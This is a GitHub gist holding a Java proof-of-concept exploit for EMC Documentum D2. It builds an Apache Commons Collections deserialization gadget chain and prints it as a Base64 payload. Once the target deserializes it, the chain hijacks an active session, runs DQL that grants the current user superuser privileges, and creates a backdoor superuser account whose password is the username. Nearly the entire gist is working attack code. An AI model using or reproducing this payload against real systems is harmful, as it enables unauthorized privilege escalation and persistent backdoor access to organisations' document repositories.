Skip to content

Instantly share code, notes, and snippets.

@andreybpanfilov
Created February 13, 2016 08:00
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save andreybpanfilov/c1d708c82278504c9da3 to your computer and use it in GitHub Desktop.
Save andreybpanfilov/c1d708c82278504c9da3 to your computer and use it in GitHub Desktop.
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import com.documentum.fc.client.impl.typeddata.DynamicallyTypedData;
import com.documentum.fc.client.impl.typeddata.ITypedData;
import com.documentum.fc.common.DfId;
import com.documentum.fc.common.IDfId;
import com.documentum.fc.impl.RuntimeContext;
import com.documentum.xerces_2_8_0.xerces.impl.dv.util.Base64;
import com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl;
/**
* @author Andrey B. Panfilov <andrey@panfilov.tel>
*/
public class DocumentumD2AACBackDoorPoC {
@SuppressWarnings("unchecked")
public static void main(String[] args) throws Exception {
if (args.length != 2) {
System.out.println("Usage: java " + DocumentumD2AACBackDoorPoC.class.getName() + " docbase username");
return;
}
String docbaseName = args[0];
String userName = args[1];
ITypedData becomeSuperUserQuery = new DynamicallyTypedData();
becomeSuperUserQuery.appendString("QUERY",
"UPDATE dm_dbo.dm_user_s SET user_privileges=16, i_vstamp=i_vstamp+1 WHERE user_name=USER");
ITypedData createUserQuery = new DynamicallyTypedData();
createUserQuery.appendString("QUERY",
"CREATE dm_user object SET user_name='" + userName + "', SET user_login_name='" + userName
+ "', SET user_source='inline password', SET user_password='" + userName
+ "', SET user_privileges=16");
ITypedData createRegisteredQuery = new DynamicallyTypedData();
createRegisteredQuery.appendBoolean("IS_NEW_OBJECT", true);
createRegisteredQuery.appendString("OBJECT_TYPE", "DM_REGISTERED");
createRegisteredQuery.appendInt("i_vstamp", 0);
createRegisteredQuery.appendString("table_name", "dm_user_s");
createRegisteredQuery.appendString("table_owner", docbaseName);
createRegisteredQuery.appendString("owner_name", docbaseName);
createRegisteredQuery.appendInt("world_permit", 7);
createRegisteredQuery.appendString("object_name", "dm_user_s");
createRegisteredQuery.appendInt("owner_table_permit", 15);
createRegisteredQuery.appendInt("group_table_permit", 15);
createRegisteredQuery.appendInt("world_table_permit", 15);
createRegisteredQuery.appendString("r_object_type", "dm_registered");
Transformer getSession = new ChainedTransformer(
new Transformer[] { new ConstantTransformer(RuntimeContext.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class },
new Object[] { "getInstance", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class },
new Object[] { null, new Object[0] }),
new InvokerTransformer("getSessionRegistry", new Class[0], new Object[0]),
new InvokerTransformer("getAllSessions", new Class[0], new Object[0]),
new InvokerTransformer("get", new Class[] { int.class }, new Object[] { 0 }), });
Transformer flushGlobalCache = new ChainedTransformer(new Transformer[] { getSession,
new InvokerTransformer("flushGlobalCache", new Class[] { String.class }, new Object[] { "user" }) });
Transformer getDocbaseAPI = new ChainedTransformer(
new Transformer[] { getSession, new InvokerTransformer("getDocbaseApi", new Class[0], new Object[0]) });
Transformer createUser = new ChainedTransformer(new Transformer[] { getDocbaseAPI,
new InvokerTransformer("parameterizedApply",
new Class[] { String.class, IDfId.class, ITypedData.class, boolean.class },
new Object[] { "EXEC", DfId.DF_NULLID, createUserQuery, false }),
new ConstantTransformer(null) });
Transformer becomeSuperUser = new ChainedTransformer(new Transformer[] { getDocbaseAPI,
new InvokerTransformer("parameterizedApply",
new Class[] { String.class, IDfId.class, ITypedData.class, boolean.class },
new Object[] { "EXEC", DfId.DF_NULLID, becomeSuperUserQuery, false }),
new ConstantTransformer(null) });
Transformer createRegistered = new ChainedTransformer(
new Transformer[] { getDocbaseAPI,
new InvokerTransformer("parameterizedApply", new Class[] { String.class, IDfId.class,
ITypedData.class, boolean.class },
new Object[] { "SysObjSave", new DfId("1900000080000001"), createRegisteredQuery, false }),
new ConstantTransformer(null) });
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, new ChainedTransformer(
new Transformer[] { createRegistered, becomeSuperUser, flushGlobalCache, createUser }));
CompositeInvocationHandlerImpl handler = new CompositeInvocationHandlerImpl();
handler.setDefaultHandler(new InvocationHandler() {
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
return method.invoke(new HashMap(), args);
}
});
// lazyMap.get(null);
Map<Object, Object> result = new HashMap<Object, Object>();
result.put(createProxy(handler, Map.class), null);
setFieldValue(handler, "classToInvocationHandler", lazyMap);
handler.setDefaultHandler(null);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(result);
oos.flush();
byte[] bytes = baos.toByteArray();
String payload = Base64.encode(bytes);
System.out.println(payload);
}
public static <T> T createProxy(final InvocationHandler ih, final Class<T> iface, final Class<?>... ifaces) {
final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class, ifaces.length + 1);
allIfaces[0] = iface;
if (ifaces.length > 0) {
System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length);
}
return iface.cast(Proxy.newProxyInstance(DocumentumD2AACBackDoorPoC.class.getClassLoader(), allIfaces, ih));
}
public static Field getField(final Class<?> clazz, final String fieldName) throws Exception {
Field field = clazz.getDeclaredField(fieldName);
if (field == null && clazz.getSuperclass() != null) {
field = getField(clazz.getSuperclass(), fieldName);
}
field.setAccessible(true);
return field;
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment